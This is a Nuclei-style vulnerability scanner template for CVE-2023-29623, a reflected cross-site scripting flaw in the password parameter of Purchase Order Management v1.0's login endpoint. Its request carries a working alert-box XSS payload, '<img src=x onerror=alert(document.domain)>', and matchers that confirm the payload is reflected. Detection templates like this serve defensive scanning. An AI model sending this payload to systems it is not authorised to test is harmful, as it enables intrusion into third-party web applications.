id: CVE-2023-29623

info:
  name: Purchase Order Management v1.0 - Cross Site Scripting (Reflected)
  author: theamanrawat
  severity: medium
  description: |
    Purchase Order Management v1.0 was discovered to contain a reflected cross-site scripting (XSS) vulnerability via the password parameter at /purchase_order/classes/login.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/2023/Purchase-Order-Management-1.0/XSS-Reflected
    - https://www.sourcecodester.com/php/14935/purchase-order-management-system-using-php-free-source-code.html
    - https://nvd.nist.gov/vuln/detail/CVE-2023-29623
    - https://portswigger.net/web-security/cross-site-scripting/reflected
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-29623
    cwe-id: CWE-79
    epss-score: 0.00096
    epss-percentile: 0.39686
    cpe: cpe:2.3:a:purchase_order_management_project:purchase_order_management:1.0:*:*:*:*:*:*:*
  metadata:
    verified: "true"
    max-request: 1
    vendor: purchase_order_management_project
    product: purchase_order_management
  tags: cve,cve2023,xss,purchase-order-management-system,purchase_order_management_project

http:
  - raw:
      - |
        POST /classes/Login.php?f=login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        username={{randstr}}&password=%3cimg%20src%3dx%20onerror%3dalert(document.domain)%3e

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<img src=x onerror=alert(document.domain)>"
          - "incorrect"
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
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